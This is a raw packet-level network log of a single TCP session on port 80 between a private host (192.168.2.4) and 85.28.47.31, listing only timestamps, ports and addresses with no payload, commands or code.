Jul 24, 2024 02:38:59.926018000 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.926035881 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.926060915 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.932106018 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.932138920 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.932163954 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.932173014 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.932202101 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.932207108 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.932216883 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.932255030 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.937774897 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.937839985 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.937849045 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.937872887 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.937885046 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.937915087 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.937949896 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.937983036 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.938010931 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.938015938 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.938025951 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.938057899 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.938258886 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.938287973 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.938318014 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.938338995 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.938342094 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.938405037 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.938405991 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.938436985 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.938462973 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.938469887 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.938479900 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.938518047 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.939618111 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.939670086 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.939707994 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.939740896 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.939764977 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.939774990 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.939783096 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.939809084 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.939836025 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.939855099 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.941287041 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.941319942 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.941344976 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.941353083 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.941370010 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.941399097 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.941416025 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.941450119 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.941466093 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.941481113 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.941490889 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.941528082 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.942315102 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.942365885 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.942379951 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.942413092 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.942441940 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.942461014 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.949770927 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.949817896 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.949822903 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.949852943 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.949867010 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.949892044 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.949903965 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.949948072 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.949948072 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.949987888 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.950100899 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.950140953 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.950165033 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.950197935 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.950203896 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.950229883 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.950236082 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.950272083 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.950579882 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.950629950 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.950644016 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.950676918 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.950685024 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.950717926 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.950783014 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.950814962 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.950828075 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.950849056 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.950856924 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.950884104 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.950890064 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.950921059 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.951476097 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.951527119 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.951540947 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.951574087 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.951581955 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.951613903 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.951647997 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.951682091 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.951692104 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.951715946 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.951724052 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.951757908 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.952200890 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.952249050 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.952301025 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.952334881 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.952344894 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.952379942 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.952444077 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.952476978 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.952498913 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.952524900 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.952528954 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.952562094 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.952569962 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.952605963 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.953092098 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.953131914 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.953176975 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.953208923 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.953214884 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.953247070 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.953325987 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.953358889 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.953362942 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.953391075 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.953414917 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.953425884 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.953427076 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.953463078 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.954073906 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.954107046 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.954118967 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.954142094 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.954144955 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.954178095 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.954188108 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.954221010 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.954229116 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.954255104 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.954282999 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.954283953 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.954308033 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.954329967 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.954806089 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.954849958 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.954857111 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.954899073 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.954905033 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.954951048 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.954952955 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.954988003 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.954993010 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.955033064 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.008759975 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.008836031 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.008841991 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.008877993 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.008892059 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.008910894 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.008932114 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.008948088 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.008963108 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.008980989 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.009015083 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.009048939 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.009082079 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.009103060 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.009103060 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.009104013 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.009104013 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.009119987 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.009154081 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.009169102 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.021274090 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.021307945 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.021343946 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.021343946 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.021378994 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.021398067 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.021459103 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.021492004 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.021509886 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.021527052 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.021534920 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.021563053 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.021576881 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.021610022 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.021616936 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.021651030 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.021676064 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.021683931 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.021693945 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.021733046 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.026871920 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.026976109 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.026988983 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.027023077 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.027031898 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.027084112 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.027086973 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.027121067 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.027147055 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.027153969 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.027165890 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.027189016 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.027220964 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.027259111 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.027260065 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.027280092 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.032449961 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.032547951 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.032628059 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.032682896 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.032692909 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.032727003 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.032752991 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.032758951 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.032773018 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.032793045 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.032803059 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.032855988 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.032864094 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.032890081 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.032906055 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.032922983 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.032931089 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.032955885 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.032984018 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.033001900 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.033037901 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.033093929 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.033102036 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.033134937 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.033164024 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.033179045 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.033198118 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.033231020 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.033253908 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.033262968 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.033273935 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.033317089 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.033325911 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.033384085 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.033401012 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.033432961 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.033459902 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.033467054 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.033479929 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.033520937 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.033571959 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.033606052 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.033633947 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.033639908 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.033648968 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.033674002 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.033680916 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.033715963 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.034348011 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.034395933 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.034410954 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.034445047 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.034459114 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.034492970 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.034554005 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.034586906 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.034615040 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.034621000 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.034631014 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.034655094 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.034681082 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.034698963 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.034790039 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.034822941 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.034854889 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.034857035 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.034877062 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.034887075 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.034903049 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.034939051 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.035741091 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.035799026 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.035876036 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.035929918 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.045715094 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.045747042 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.045770884 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.045780897 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.045794010 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.045831919 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.045840025 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.045866013 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.045892000 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.045898914 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.045907974 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.045947075 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.045948029 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.046001911 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.046021938 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.046056032 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.046082973 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.046087980 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.046097994 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.046122074 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.046137094 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.046154022 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.046169043 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.046189070 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.046200991 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.046243906 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.046307087 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.046372890 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.046452999 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.046485901 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.046514034 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.046528101 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.046592951 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.046626091 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.046634912 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.046680927 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.046689034 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.046721935 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.046736002 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.046756029 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.046761990 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.046791077 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.046808958 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.046838045 CEST	80	49730	85.28.47.31	192.168.2.4
